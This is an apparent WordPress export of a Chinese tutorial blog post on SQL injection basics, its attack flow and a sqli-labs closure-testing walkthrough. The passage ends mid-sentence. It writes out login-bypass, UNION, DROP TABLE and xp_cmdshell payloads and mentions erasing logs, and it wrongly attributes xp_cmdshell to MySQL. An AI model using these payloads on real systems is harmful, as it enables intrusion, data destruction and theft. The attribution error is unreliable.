{"id":64663,"date":"2026-01-23T21:16:55","date_gmt":"2026-01-23T13:16:55","guid":{"rendered":"https:\/\/www.wsisp.com\/helps\/64663.html"},"modified":"2026-01-23T21:16:55","modified_gmt":"2026-01-23T13:16:55","slug":"sql%e6%b3%a8%e5%85%a5%e7%9a%84%e5%9f%ba%e7%a1%80%ef%bc%8c%e6%94%bb%e5%87%bb%e6%b5%81%e7%a8%8b%e4%b8%8e%e8%af%a6%e7%bb%86%e6%b3%a8%e5%85%a5%e7%b1%bb%e5%9e%8b%e4%bb%8b%e7%bb%8d","status":"publish","type":"post","link":"https:\/\/www.wsisp.com\/helps\/64663.html","title":{"rendered":"SQL\u6ce8\u5165\u7684\u57fa\u7840\uff0c\u653b\u51fb\u6d41\u7a0b\u4e0e\u8be6\u7ec6\u6ce8\u5165\u7c7b\u578b\u4ecb\u7ecd"},"content":{"rendered":"<h2 style=\"background-color:transparent\">\u524d\u8a00<\/h2>\n<p>\u8fd9\u4e00\u5757\u5185\u5bb9\u8fd8\u5728\u4e0d\u65ad\u8865\u5145\u5f53\u4e2d&#xff0c;\u53ef\u4ee5\u65f6\u4e0d\u65f6\u5237\u6765\u770b\u770b\u5440&#xff01;&#xff01;&#xff01;<\/p>\n<p>\u60a8\u7684\u9605\u8bfb\u5c31\u662f\u5bf9\u6211\u5b66\u4e60\u8fdb\u6b65\u7684\u80af\u5b9a&#xff01;&#xff01;&#xff01;<\/p>\n<p>\u611f\u8c22\u5927\u4f6c<\/p>\n<ul>\n<li id=\"u972cfe60\">SQL\u6ce8\u5165\u57fa\u7840\u77e5\u8bc6\u6574\u7406<\/li>\n<li id=\"ud0250acb\">\u3010SQL\u6ce8\u5165\u3011\u5c0f\u767d\u624b\u628a\u624b\u5165\u95e8SQL\u6ce8\u51651-\u6570\u636e\u5e93\u57fa\u7840-CSDN\u535a\u5ba2<\/li>\n<li id=\"uf91228dc\">SQL \u6ce8\u5165\u603b\u7ed3&#xff08;\u8be6\u7ec6&#xff09;_sql\u6ce8\u5165\u8bed\u53e5-CSDN\u535a\u5ba2<\/li>\n<li id=\"u06d17577\">\u3010\u5168\u7f51\u6700\u5168\u3011sql\u6ce8\u5165\u8be6\u89e3-CSDN\u535a\u5ba2<\/li>\n<li id=\"uea1446d5\">SQL \u4e09\u79cd\u6ce8\u5165\u65b9\u5f0f\u8be6\u89e3&#xff0c;&#xff08;\u975e\u5e38\u8be6\u7ec6&#xff09;\u96f6\u57fa\u7840\u5165\u95e8\u5230\u7cbe\u901a&#xff0c;\u6536\u85cf\u8fd9\u4e00\u7bc7\u5c31\u591f\u4e86_sql\u6ce8\u5165-CSDN\u535a\u5ba2<\/li>\n<li id=\"u1ca741ec\">sql\u6ce8\u5165\u2014\u2014\u62a5\u9519\u6ce8\u5165-CSDN\u535a\u5ba2<\/li>\n<li id=\"u309c4c4b\">SQL\u76f2\u6ce8&#xff08;\u5e03\u5c14\u76f2\u6ce8&#xff09;-CSDN\u535a\u5ba2<\/li>\n<li id=\"u1c383122\">SQL\u6ce8\u5165\u2014\u8be6\u89e3(3)\u3010\u5e03\u5c14\u76f2\u6ce8\u3011-CSDN\u535a\u5ba2<\/li>\n<li id=\"uce2e1296\">SQL\u6ce8\u5165&#xff1a;\u5e03\u5c14\u76f2\u6ce8\u8be6\u89e3\u53ca\u5e94\u7528-CSDN\u535a\u5ba2<\/li>\n<li id=\"u3be0974e\">SQL\u6ce8\u5165&#8212;\u65f6\u95f4\u76f2\u6ce8-CSDN\u535a\u5ba2<\/li>\n<li id=\"u2df458c0\">\u65f6\u95f4\u76f2\u6ce8&#xff08;ctfhub&#xff09;-CSDN\u535a\u5ba2<\/li>\n<\/ul>\n<h2 id=\"l6j4r\" style=\"background-color:transparent\">SQL\u6ce8\u5165<\/h2>\n<h3 id=\"mFA1V\" style=\"background-color:transparent\">1. \u4ec0\u4e48\u662fSQL\u6ce8\u5165<\/h3>\n<p id=\"u7125350e\">SQL\u6ce8\u5165\u662f\u4e00\u79cd\u4ee3\u7801\u6ce8\u5165\u653b\u51fb&#xff0c;\u653b\u51fb\u8005\u901a\u8fc7\u5728\u8f93\u5165\u6846\u3001URL\u53c2\u6570\u7b49\u4f4d\u7f6e\u63d2\u5165\u6076\u610fSQL\u4ee3\u7801&#xff0c;\u6b3a\u9a97\u6570\u636e\u5e93\u6267\u884c\u975e\u6388\u6743\u64cd\u4f5c&#xff08;\u5982\u67e5\u8be2\u3001\u4fee\u6539\u3001\u5220\u9664\u6570\u636e\u751a\u81f3\u83b7\u53d6\u670d\u52a1\u5668\u6743\u9650&#xff09;\u3002<\/p>\n<p id=\"ue0ec157c\">\u6ce8\u5165\u4ea7\u751f\u7684\u539f\u56e0\u662f\u540e\u53f0\u670d\u52a1\u5668\u5728\u63a5\u6536\u76f8\u5173\u53c2\u6570\u65f6\u672a\u505a\u597d\u8fc7\u6ee4\u76f4\u63a5\u5e26\u5165\u5230\u6570\u636e\u5e93\u4e2d\u67e5\u8be2&#xff0c;\u5bfc\u81f4\u53ef\u4ee5\u62fc\u63a5\u6267\u884c\u6784\u9020\u7684SQL\u8bed\u53e5<\/p>\n<p id=\"ua8709113\">SQL\u6ce8\u5165\u5c31\u662f\u6307WEB\u5e94\u7528\u7a0b\u5e8f\u5bf9\u7528\u6237\u8f93\u5165\u6570\u636e\u7684\u5408\u6cd5\u6027\u6ca1\u6709\u5224\u65ad&#xff0c;\u524d\u7aef\u4f20\u5165\u540e\u7aef\u7684\u53c2\u6570\u662f\u653b\u51fb\u8005\u53ef\u63a7\u7684&#xff0c;\u5e76\u4e14\u53c2\u6570\u4ee3\u5165\u6570\u636e\u5e93\u67e5\u8be2&#xff0c;\u653b\u51fb\u8005\u53ef\u4ee5\u901a\u8fc7\u6784\u9020\u4e0d\u540c\u7684SQL\u8bed\u53e5\u6765\u662f\u5b9e\u73b0\u5bf9\u6570\u636e\u5e93\u7684\u4efb\u610f\u64cd\u4f5c\u3002<\/p>\n<p id=\"u7d48736c\">\u5373\u901a\u8fc7\u628a SQL \u547d\u4ee4\u63d2\u5165\u5230 Web \u8868\u5355\u9012\u4ea4\u6216\u8f93\u5165\u57df\u540d\u6216\u9875\u9762\u8bf7\u6c42\u7684\u67e5\u8be2\u5b57\u7b26\u4e32&#xff0c;\u6700\u7ec8\u8fbe\u5230\u6b3a\u9a97\u670d\u52a1\u5668\u6267\u884c\u6076\u610f\u7684 SQL \u547d\u4ee4\u3002<\/p>\n<p id=\"u8ce0ef03\">\u4e00\u822c\u60c5\u51b5\u4e0b&#xff0c;\u5f00\u53d1\u4eba\u5458\u53ef\u4ee5\u4f7f\u7528\u52a8\u6001SQL\u8bed\u53e5\u521b\u5efa\u901a\u7528\u3001\u7075\u6d3b\u7684\u5e94\u7528\u3002\u52a8\u6001SQL\u8bed\u53e5\u662f\u5728\u6267\u884c\u8fc7\u7a0b\u4e2d\u6784\u9020\u7684&#xff0c;\u4ed6\u6839\u636e\u4e0d\u540c\u7684\u6761\u4ef6\u4ea7\u751f\u4e0d\u540c\u7684SQL\u8bed\u53e5\u3002\u5f53\u5f00\u53d1\u4eba\u5458\u5728\u8fd0\u884c\u8fc7\u7a0b\u4e2d\u9700\u8981\u6839\u636e\u4e0d\u540c\u7684\u67e5\u8be2\u6807\u51c6\u51b3\u5b9a\u63d0\u53d6\u4ec0\u4e48\u5b57\u6bb5(\u5982select\u8bed\u53e5)&#xff0c;\u6216\u8005\u6839\u636e\u4e0d\u540c\u7684\u6761\u4ef6\u9009\u62e9\u4e0d\u540c\u7684\u67e5\u8be2\u8868\u65f6&#xff0c;\u52a8\u6001\u7684SQL\u8bed\u53e5\u4f1a\u975e\u5e38\u6709\u7528\u3002<\/p>\n<h3 id=\"etKIP\" style=\"background-color:transparent\">2. SQL\u6ce8\u5165\u7684\u539f\u7406<\/h3>\n<p id=\"u6af6d270\">\u5f53\u5e94\u7528\u7a0b\u5e8f\u672a\u5bf9\u7528\u6237\u8f93\u5165\u8fdb\u884c\u6709\u6548\u8fc7\u6ee4\u65f6&#xff0c;\u653b\u51fb\u8005\u8f93\u5165\u7684\u6076\u610fSQL\u4f1a\u88ab\u6570\u636e\u5e93\u5f53\u4f5c\u5408\u6cd5\u6307\u4ee4\u6267\u884c\u3002<\/p>\n<h6 id=\"gUwDO\">SQL\u6ce8\u5165\u6f0f\u6d1e\u7684\u4ea7\u751f\u9700\u8981\u6ee1\u8db3\u4ee5\u4e0b\u4e24\u4e2a\u6761\u4ef6\u3002<\/h6>\n<p id=\"u5d5fd2c8\">(1)\u53c2\u6570\u7528\u6237\u53ef\u63a7&#xff1a;\u524d\u7aef\u4f20\u7ed9\u540e\u7aef\u7684\u53c2\u6570\u5185\u5bb9\u662f\u7528\u6237\u53ef\u4ee5\u63a7\u5236\u7684\u3002 (2)\u53c2\u6570\u4ee3\u5165\u6570\u636e\u5e93\u67e5\u8be2&#xff1a;\u4f20\u5165\u7684\u53c2\u6570\u62fc\u63a5\u5230SQL\u8bed\u53e5&#xff0c;\u4e14\u5e26\u5165\u6570\u636e\u5e93\u67e5\u8be2&#xff0c;\u7528\u6237\u80fd\u63a7\u5236\u8f93\u5165\u4e14\u8f93\u5165\u7684\u5185\u5bb9\u88ab\u5e26\u5230\u6570\u636e\u5e93\u53bb\u6267\u884c<\/p>\n<h6 id=\"n3GhS\">\u4f8b\u5b50<\/h6>\n<p id=\"ua364fc8c\">select * from users where id &#061; 1<\/p>\n<p id=\"ud7ff726f\">\/\/\u8fd9\u53e5\u8bdd\u662f\u6b63\u786e\u7684&#xff0c;\u5408\u6cd5\u7684&#xff0c;\u53ef\u4ee5\u67e5\u8be2\u7528\u6237 id&#061;1 \u7684\u8bb0\u5f55 \u5f53\u4f20\u5165\u7684ID\u53c2\u6570\u4e3a1\u65f6&#xff0c;\u6570\u636e\u5e93\u6267\u884c\u7684\u4ee3\u7801\u5982\u4e0b\u6240\u793a\u3002 select * from users where id &#061; 1&#039; \u8fd9\u4e0d\u7b26\u5408\u6570\u636e\u5e93\u7684\u8bed\u6cd5\u89c4\u8303&#xff0c;\u591a\u4e86\u4e2a\u5355\u5f15\u53f7&#xff0c;\u6240\u4ee5\u4f1a\u62a5\u9519\u3002<\/p>\n<p id=\"udc47047c\">\/\/\u4e0d\u7ba1\u4ec0\u4e48\u8bed\u8a00&#xff0c;\u53ea\u8981\u591a\u4e86\u4e00\u4e2a\u6ca1\u95ed\u5408\u7684\u5355\u5f15\u53f7\u9664\u975e\u4ed6\u88ab\u8f6c\u4e49\u4e86&#xff0c;\u4e0d\u7136\u90fd\u4f1a\u62a5\u9519\u7684<\/p>\n<p id=\"u404692ab\">\u5f53\u4f20\u5165\u7684ID\u53c2\u6570\u4e3aand 1&#061;1\u65f6&#xff0c;\u6267\u884c\u7684SQL\u8bed\u53e5\u5982\u4e0b\u6240\u793a\u3002 select * from users where id&#061;1 and 1&#061;1<\/p>\n<p id=\"u8c38ab03\">\u6570\u636e\u5e93\u4f1a\u8fd4\u56de\u4e0e id&#061;1 \u76f8\u540c\u7684\u7ed3\u679c\u3002\u653b\u51fb\u8005\u901a\u8fc7\u8fd9\u79cd\u65b9\u5f0f\u9a8c\u8bc1\u5e94\u7528\u7a0b\u5e8f\u662f\u5426\u4f1a\u6267\u884c\u989d\u5916\u7684\u903b\u8f91\u3002\u5982\u679c\u9875\u9762\u8fd4\u56de\u6b63\u5e38\u7ed3\u679c&#xff0c;\u8bf4\u660e\u5e94\u7528\u7a0b\u5e8f\u53ef\u80fd\u6ca1\u6709\u5bf9\u8f93\u5165\u8fdb\u884c\u8fc7\u6ee4\u3002\u5f53\u4f20\u5165\u7684ID\u53c2\u6570\u4e3aand 1&#061;2\u65f6&#xff0c;\u7531\u4e8e1&#061;2\u4e0d\u6210\u7acb&#xff0c;\u6240\u4ee5\u8fd4\u56de\u5047&#xff0c;\u9875\u9762\u5c31\u4f1a\u8fd4\u56de\u4e0eid&#061;1\u4e0d\u540c\u7684\u7ed3\u679c&#xff0c;\u8bf4\u660e\u8f93\u5165\u786e\u5b9e\u5f71\u54cd\u4e86\u67e5\u8be2\u903b\u8f91\u3002 \u5728\u5b9e\u9645\u73af\u5883\u4e2d&#xff0c;\u51e1\u662f\u6ee1\u8db3\u4e0a\u8ff0\u4e24\u4e2a\u6761\u4ef6\u7684\u53c2\u6570\u7686\u53ef\u80fd\u5b58\u5728SQL\u6ce8\u5165\u6f0f\u6d1e<\/p>\n<h3 id=\"ls8te\" style=\"background-color:transparent\">3. \u4e3a\u4ec0\u4e48\u4f1a\u6709SQL\u6ce8\u5165<\/h3>\n<ul>\n<li id=\"u2fe4b993\">\u4ee3\u7801\u5bf9\u5e26\u5165SQL\u8bed\u53e5\u7684\u53c2\u6570\u8fc7\u6ee4\u4e0d\u4e25\u683c<\/li>\n<li id=\"u111d8d94\">\u672a\u542f\u7528\u6846\u67b6\u7684\u5b89\u5168\u914d\u7f6e&#xff0c;\u4f8b\u5982&#xff1a;PHP\u7684magic_quotes_gpc<\/li>\n<li id=\"u1f65cbf9\">\u672a\u4f7f\u7528\u6846\u67b6\u5b89\u5168\u7684\u67e5\u8be2\u65b9\u6cd5<\/li>\n<li id=\"u7b98d0be\">\u6d4b\u8bd5\u501f\u53e3\u672a\u5220\u9664<\/li>\n<li id=\"uc65eb980\">\u672a\u542f\u7528\u9632\u706b\u5899&#xff0c;\u4f8b\u5982IPTABLES\u3002<\/li>\n<li id=\"u6eaed8d2\">\u672a\u4f7f\u7528\u5176\u4ed6\u7684\u5b89\u5168\u9632\u62a4\u8bbe\u5907&#xff0c;\u4f8b\u5982&#xff1a;WAF<\/li>\n<\/ul>\n<h3 id=\"nPd08\" style=\"background-color:transparent\">4. SQL\u6ce8\u5165\u4e00\u822c\u6d41\u7a0b\u3010\u653b\u51fb\u3011<\/h3>\n<p id=\"u98d48d5c\">\u63a2\u6d4b\u2192\u5229\u7528\u2192\u6df1\u5ea6\u6e17\u900f<\/p>\n<h5 id=\"DO0Sz\">1. \u6f0f\u6d1e\u63a2\u6d4b&#xff1a;\u5bfb\u627e\u6ce8\u5165\u70b9<\/h5>\n<p id=\"u1fb77ed9\">\u653b\u51fb\u8005\u901a\u8fc7\u8f93\u5165\u6d4b\u8bd5\u5b57\u7b26\u5224\u65ad\u5e94\u7528\u662f\u5426\u5b58\u5728SQL\u6ce8\u5165\u6f0f\u6d1e&#xff0c;\u5e38\u89c1\u65b9\u6cd5\u5305\u62ec&#xff1a;<\/p>\n<ul>\n<li id=\"u57a01a9e\">\u5355\u5f15\u53f7\u6d4b\u8bd5&#xff1a;\u5728\u8f93\u5165\u6846&#xff08;\u5982\u641c\u7d22\u6846\u3001URL\u53c2\u6570&#xff09;\u4e2d\u8f93\u5165&#039;&#xff0c;\u82e5\u9875\u9762\u62a5\u9519&#xff08;\u5982\u6570\u636e\u5e93\u9519\u8bef\u63d0\u793a&#xff09;\u6216\u8fd4\u56de\u5f02\u5e38&#xff0c;\u8bf4\u660e\u8f93\u5165\u672a\u88ab\u8fc7\u6ee4&#xff0c;\u53ef\u80fd\u5b58\u5728\u6ce8\u5165\u70b9\u3002<\/li>\n<li id=\"u0cfee6e4\">\u5e03\u5c14\u76f2\u6ce8\u6d4b\u8bd5&#xff1a;\u8f93\u5165and 1&#061;1&#xff08;\u9875\u9762\u6b63\u5e38&#xff09;\u548cand 1&#061;2&#xff08;\u9875\u9762\u5f02\u5e38&#xff09;&#xff0c;\u901a\u8fc7\u8fd4\u56de\u5dee\u5f02\u9a8c\u8bc1\u8f93\u5165\u662f\u5426\u5f71\u54cdSQL\u903b\u8f91&#xff08;\u5982\u4f60\u4e4b\u524d\u63d0\u5230\u7684\u6848\u4f8b&#xff09;\u3002<\/li>\n<li id=\"u9eec9c1e\">\u65f6\u95f4\u76f2\u6ce8\u6d4b\u8bd5&#xff1a;\u8f93\u5165and sleep(5)&#xff0c;\u82e5\u9875\u9762\u52a0\u8f7d\u5ef6\u8fdf5\u79d2&#xff0c;\u8bf4\u660e\u6570\u636e\u5e93\u6267\u884c\u4e86\u6076\u610f\u4ee3\u7801&#xff0c;\u5b58\u5728\u6ce8\u5165\u70b9\u3002<\/li>\n<\/ul>\n<h5 id=\"27a53aaf\">2. \u6f0f\u6d1e\u5229\u7528&#xff1a;\u83b7\u53d6\u6570\u636e\u6216\u6743\u9650<\/h5>\n<p id=\"ufec0c866\">\u786e\u8ba4\u6ce8\u5165\u70b9\u540e&#xff0c;\u653b\u51fb\u8005\u901a\u8fc7\u6784\u9020\u6076\u610fSQL\u5b9e\u73b0\u4e0d\u540c\u76ee\u6807&#xff1a;<\/p>\n<ul>\n<li id=\"u6e5a546e\">\u83b7\u53d6\u9690\u85cf\u6570\u636e&#xff1a;\u901a\u8fc7OR 1&#061;1\u6216UNION SELECT\u8bfb\u53d6\u654f\u611f\u6570\u636e\u3002\u4f8b\u5982&#xff1a;<\/li>\n<\/ul>\n<p>SELECT * FROM products WHERE category&#061;&#039;Gifts&#039; OR 1&#061;1&#8211; <\/p>\n<p id=\"u3865f104\">\u5229\u7528OR 1&#061;1\u8fd4\u56de\u6240\u6709\u5546\u54c1&#xff08;\u5305\u62ec\u672a\u53d1\u5e03\u7684&#xff09;\u3002<\/p>\n<ul>\n<li id=\"uddaf8a27\">\u7ed5\u8fc7\u767b\u5f55\u9a8c\u8bc1&#xff1a;\u901a\u8fc7&#039; OR &#039;1&#039;&#061;&#039;1&#039;&#8211;\u8df3\u8fc7\u5bc6\u7801\u68c0\u67e5\u3002\u4f8b\u5982&#xff1a;<\/li>\n<\/ul>\n<p>SELECT * FROM users WHERE username&#061;&#039;admin&#039; OR &#039;1&#039;&#061;&#039;1&#039;&#8211;&#039; AND password&#061;&#039;xxx&#039; <\/p>\n<p id=\"ud5240936\">\u76f4\u63a5\u767b\u5f55\u7ba1\u7406\u5458\u8d26\u6237\u3002<\/p>\n<ul>\n<li id=\"ue4f72011\">\u8bfb\u53d6\u6570\u636e\u5e93\u7ed3\u6784&#xff1a;\u901a\u8fc7UNION SELECT\u67e5\u8be2\u6570\u636e\u5e93\u7248\u672c\u3001\u8868\u540d\u7b49\u4fe1\u606f\u3002\u4f8b\u5982&#xff1a;<\/li>\n<\/ul>\n<p>&#039; UNION SELECT version(), database()&#8211; <\/p>\n<h5 id=\"02e8ac2d\">3. \u6df1\u5ea6\u6e17\u900f&#xff1a;\u6269\u5927\u653b\u51fb\u8303\u56f4<\/h5>\n<p id=\"u8e7d22c4\">\u82e5\u6743\u9650\u8db3\u591f&#xff0c;\u653b\u51fb\u8005\u53ef\u80fd\u8fdb\u4e00\u6b65&#xff1a;<\/p>\n<ul>\n<li id=\"ub2c747f9\">\u7be1\u6539\u6216\u5220\u9664\u6570\u636e&#xff1a;\u901a\u8fc7UPDATE\u6216DROP\u8bed\u53e5\u7834\u574f\u6570\u636e\u5e93\u3002\u4f8b\u5982&#xff1a;<\/li>\n<\/ul>\n<p>&#039;; DROP TABLE users&#8211; <\/p>\n<ul>\n<li id=\"u7f2e67b8\">\u6267\u884c\u7cfb\u7edf\u547d\u4ee4&#xff1a;\u5229\u7528\u6570\u636e\u5e93\u5b58\u50a8\u8fc7\u7a0b&#xff08;\u5982MySQL\u7684xp_cmdshell&#xff09;\u63a7\u5236\u670d\u52a1\u5668\u3002\u4f8b\u5982&#xff1a;<\/li>\n<\/ul>\n<p>&#039;; EXEC xp_cmdshell &#039;whoami&#039;&#8211; <\/p>\n<ul>\n<li id=\"ufbf2e004\">\u6301\u4e45\u5316\u63a7\u5236&#xff1a;\u521b\u5efa\u540e\u95e8\u8d26\u6237\u6216\u690d\u5165\u6076\u610f\u811a\u672c&#xff0c;\u957f\u671f\u63a7\u5236\u7cfb\u7edf\u3002<\/li>\n<\/ul>\n<h5 id=\"5f3fadee\">4. \u653b\u51fb\u7ed3\u675f&#xff1a;\u6e05\u7406\u75d5\u8ff9<\/h5>\n<p id=\"u84f805f7\">\u653b\u51fb\u8005\u53ef\u80fd\u5220\u9664\u6570\u636e\u5e93\u65e5\u5fd7\u6216\u4fee\u6539\u8bbf\u95ee\u8bb0\u5f55&#xff0c;\u63a9\u76d6\u653b\u51fb\u884c\u4e3a\u3002<\/p>\n<h3 id=\"Aj4Yb\" style=\"background-color:transparent\">5. SQL\u6ce8\u5165\u7684\u83b7\u53d6\u6570\u636e\u7684\u7b80\u5355\u6d41\u7a0b\u3010sqli-labs\u7684\u9898\u76ee\u3011<\/h3>\n<h4 id=\"g5S2o\">5.1. \u5224\u65ad\u6709\u65e0\u95ed\u5408 and 1&#061;1 and 1&#061;2<\/h4>\n<h5 id=\"qHVG3\">5.1.1. \u76ee\u7684<\/h5>\n<p id=\"u19d559f2\">\u786e\u5b9a\u4f60\u7684 SQL \u8bed\u53e5\u662f\u88ab\u4ec0\u4e48\u7b26\u53f7\u201c\u5305\u56f4\u201d\u7684&#xff08;\u6bd4\u5982\u5355\u5f15\u53f7 \u00a0&#039;\u00a0\u3001\u53cc\u5f15\u53f7 \u00a0&#034;\u00a0\u3001\u62ec\u53f7 \u00a0()\u00a0 \u7b49&#xff09;&#xff0c;\u8fd9\u4e00\u6b65\u662f SQL \u6ce8\u5165\u7684\u57fa\u7840\u524d\u63d0\u3002<\/p>\n<p id=\"u338d9ec1\">\u5728 SQL \u4e2d&#xff0c;\u201c\u95ed\u5408\u201d\u901a\u5e38\u6307\u7684\u662f\u4e00\u4e9b\u7279\u5b9a\u7684\u903b\u8f91\u6216\u8bed\u6cd5\u7ed3\u6784\u662f\u5426\u5b8c\u6574&#xff0c;\u4f8b\u5982\u62ec\u53f7\u662f\u5426\u5339\u914d\u3001\u4e8b\u52a1\u662f\u5426\u6b63\u786e\u63d0\u4ea4\u3001\u6761\u4ef6\u8bed\u53e5\u662f\u5426\u5b8c\u6574\u7b49\u3002<\/p>\n<h5 id=\"QbZ89\">5.1.2. \u64cd\u4f5c<\/h5>\n<p id=\"u36f7a8b1\">\u6267\u884c\u4e24\u4e2a SQL \u7247\u6bb5&#xff1a;<\/p>\n<p id=\"uda9374b4\">&#8211; \u7247\u6bb5 1&#xff1a;\u00a0and 1&#061;1\u00a0<\/p>\n<p id=\"u76ca94d6\">&#8211; \u7247\u6bb5 2&#xff1a;\u00a0and 1&#061;2\u00a0<\/p>\n<h5 id=\"mWDjX\">5.1.3. \u539f\u7406<\/h5>\n<p id=\"u1a40cde4\">&#8211; \u5f53\u6267\u884c \u00a0and 1&#061;1\u00a0 \u65f6&#xff0c;\u56e0\u4e3a \u00a01&#061;1\u00a0 \u662f\u201c\u6c38\u771f\u6761\u4ef6\u201d&#xff0c;\u5982\u679c\u7ed3\u679c\u548c\u4f60\u539f\u672c\u7684\u67e5\u8be2\u7ed3\u679c\u4e00\u6837&#xff0c;\u8bf4\u660e SQL \u8bed\u53e5\u7684\u95ed\u5408\u89c4\u5219\u662f\u7b26\u5408\u9884\u671f\u7684&#xff08;\u6ca1\u6709\u56e0\u4e3a\u8bed\u6cd5\u9519\u8bef\u4e2d\u65ad&#xff09;\u3002<\/p>\n<p id=\"uef82a436\">&#8211; \u5f53\u6267\u884c \u00a0and 1&#061;2\u00a0 \u65f6&#xff0c;\u56e0\u4e3a \u00a01&#061;2\u00a0 \u662f\u201c\u6c38\u5047\u6761\u4ef6\u201d&#xff0c;\u5982\u679c\u7ed3\u679c\u4e3a\u7a7a&#xff0c;\u8bf4\u660e SQL \u8bed\u53e5\u7684\u95ed\u5408\u89c4\u5219\u662f\u5bf9\u7684&#xff1b;\u53cd\u4e4b\u5982\u679c\u7ed3\u679c\u6ca1\u53d8\u5316&#xff0c;\u5c31\u9700\u8981\u6362\u5176\u4ed6\u65b9\u5f0f\u6d4b\u8bd5\u95ed\u5408\u7b26\u3002<\/p>\n<p id=\"ub9304598\">\u7ed3\u679c\u548c\u7b2c\u4e00\u4e2a\u4e00\u6837\u8bf4\u660e\u9700\u8981\u95ed\u5408&#xff0c;\u53cd\u4e4b\u65e0\u95ed\u5408 \u6709\u95ed\u5408\u5219\u9700\u8981\u7528\u5230 &#8211;&#043;\u95ed\u5408<\/p>\n<p id=\"ua180c0e2\">\n<h6 id=\"jNW7x\">5.1.3.1. \u6ca1\u61c2&#xff1f;\u8be6\u7ec6<\/h6>\n<p id=\"u20336576\">\u5e03\u5c14\u76f2\u6ce8\u539f\u7406&#xff1a;\u901a\u8fc7and 1&#061;1\/and 1&#061;2\u9a8c\u8bc1SQL\u6ce8\u5165\u6f0f\u6d1e<\/p>\n<p id=\"u75cb0e50\">\u8fd9\u79cd\u64cd\u4f5c\u5c5e\u4e8e\u5e03\u5c14\u76f2\u6ce8&#xff08;Boolean-based Blind SQL Injection&#xff09;&#xff0c;\u6838\u5fc3\u662f\u901a\u8fc7\u6784\u9020\u771f\u5047\u6761\u4ef6\u6765\u5224\u65ad\u5e94\u7528\u662f\u5426\u5b58\u5728SQL\u6ce8\u5165\u6f0f\u6d1e\u3002<\/p>\n<p id=\"u1e0fd8e6\">\u4ee5\u4e0b\u662f\u9010\u53e5\u89e3\u91ca&#xff1a;<\/p>\n<h6 id=\"ZgYUA\">5.1.3.1.1. id&#061;1 and 1&#061;1&#xff1a;\u9a8c\u8bc1\u6ce8\u5165\u70b9\u662f\u5426\u5b58\u5728<\/h6>\n<p id=\"u82c12afe\">\u6b63\u5e38\u67e5\u8be2&#xff1a;select * from users where id&#061;1 \u2192 \u8fd4\u56deid&#061;1\u7684\u7528\u6237\u6570\u636e\u3002<\/p>\n<p id=\"u53748a9d\">\u6ce8\u5165\u540e\u67e5\u8be2&#xff1a;select * from users where id&#061;1 and 1&#061;1 \u2192 \u7531\u4e8e1&#061;1\u6052\u4e3a\u771f&#xff0c;\u6574\u4e2a\u6761\u4ef6\u7b49\u4ef7\u4e8eid&#061;1&#xff0c;\u8fd4\u56de\u7ed3\u679c\u4e0e\u6b63\u5e38\u67e5\u8be2\u4e00\u81f4\u3002<\/p>\n<p id=\"u3a007004\">\u653b\u51fb\u8005\u610f\u56fe&#xff1a;\u5982\u679c\u9875\u9762\u8fd4\u56de\u6b63\u5e38&#xff08;\u663e\u793aid&#061;1\u7684\u5185\u5bb9&#xff09;&#xff0c;\u8bf4\u660e\u5e94\u7528\u672a\u8fc7\u6ee4and\u7b49SQL\u5173\u952e\u5b57&#xff0c;\u8f93\u5165\u7684and 1&#061;1\u88ab\u6570\u636e\u5e93\u5f53\u4f5c\u5408\u6cd5\u903b\u8f91\u6267\u884c&#xff0c;\u5b58\u5728\u6ce8\u5165\u6f0f\u6d1e\u3002<\/p>\n<h6 id=\"Mo7CX\">5.1.3.1.2. id&#061;1 and 1&#061;2&#xff1a;\u786e\u8ba4\u8f93\u5165\u5f71\u54cd\u67e5\u8be2\u903b\u8f91<\/h6>\n<p id=\"u950851f4\">\u6b63\u5e38\u67e5\u8be2&#xff1a;select * from users where id&#061;1 \u2192 \u8fd4\u56deid&#061;1\u7684\u7528\u6237\u6570\u636e\u3002<\/p>\n<p id=\"u05b4c983\">\u6ce8\u5165\u540e\u67e5\u8be2&#xff1a;select * from users where id&#061;1 and 1&#061;2 \u2192 \u7531\u4e8e1&#061;2\u6052\u4e3a\u5047&#xff0c;\u6574\u4e2a\u6761\u4ef6\u7b49\u4ef7\u4e8efalse&#xff0c;\u8fd4\u56de\u7ed3\u679c\u4e3a\u7a7a\u6216\u9519\u8bef\u9875\u9762&#xff08;\u4e0e\u6b63\u5e38\u67e5\u8be2\u4e0d\u540c&#xff09;\u3002<\/p>\n<p id=\"uf150d88a\">\u653b\u51fb\u8005\u610f\u56fe&#xff1a;\u5982\u679c\u9875\u9762\u8fd4\u56de\u5f02\u5e38&#xff08;\u5982\u7a7a\u767d\u3001\u62a5\u9519&#xff09;&#xff0c;\u8bf4\u660e\u8f93\u5165\u7684and 1&#061;2\u786e\u5b9e\u6539\u53d8\u4e86\u67e5\u8be2\u7ed3\u679c&#xff0c;\u8bc1\u660e\u7528\u6237\u8f93\u5165\u76f4\u63a5\u53c2\u4e0e\u4e86SQL\u903b\u8f91\u6267\u884c&#xff0c;\u6f0f\u6d1e\u5b58\u5728\u3002<\/p>\n<h6 id=\"qIW92\">5.1.3.1.3. \u4e3a\u4ec0\u4e48\u8fd9\u80fd\u9a8c\u8bc1\u6f0f\u6d1e&#xff1f;<\/h6>\n<p id=\"u57c904ee\">\u6838\u5fc3\u903b\u8f91&#xff1a;<\/p>\n<p id=\"uca154fac\">SQL\u6ce8\u5165\u7684\u672c\u8d28\u662f\u7528\u6237\u8f93\u5165\u88ab\u5f53\u4f5cSQL\u4ee3\u7801\u6267\u884c\u3002\u5982\u679c\u5e94\u7528\u5bf9\u8f93\u5165\u505a\u4e86\u8fc7\u6ee4&#xff08;\u5982\u8f6c\u4e49and\u3001&#061;\u7b49\u5b57\u7b26&#xff09;&#xff0c;\u90a3\u4e48id&#061;1 and 1&#061;1\u4f1a\u88ab\u5f53\u4f5c\u666e\u901a\u5b57\u7b26\u4e32\u5904\u7406&#xff08;\u5982id&#061;&#039;1 and 1&#061;1&#039;&#xff09;&#xff0c;\u67e5\u8be2\u7ed3\u679c\u4f1a\u662f\u7a7a&#xff08;\u56e0\u4e3a\u6ca1\u6709id\u7b49\u4e8e\u201c1 and 1&#061;1\u201d\u7684\u7528\u6237&#xff09;\u3002<\/p>\n<p id=\"ue52a6f01\">\u5bf9\u6bd4\u7ed3\u679c&#xff1a;<\/p>\n<p id=\"ud31ed972\">\u82e5and 1&#061;1\u8fd4\u56de\u6b63\u5e38 \u2192 \u8f93\u5165\u672a\u8fc7\u6ee4&#xff0c;\u6f0f\u6d1e\u5b58\u5728\u3002<\/p>\n<p id=\"u5d1eaa9a\">\u82e5and 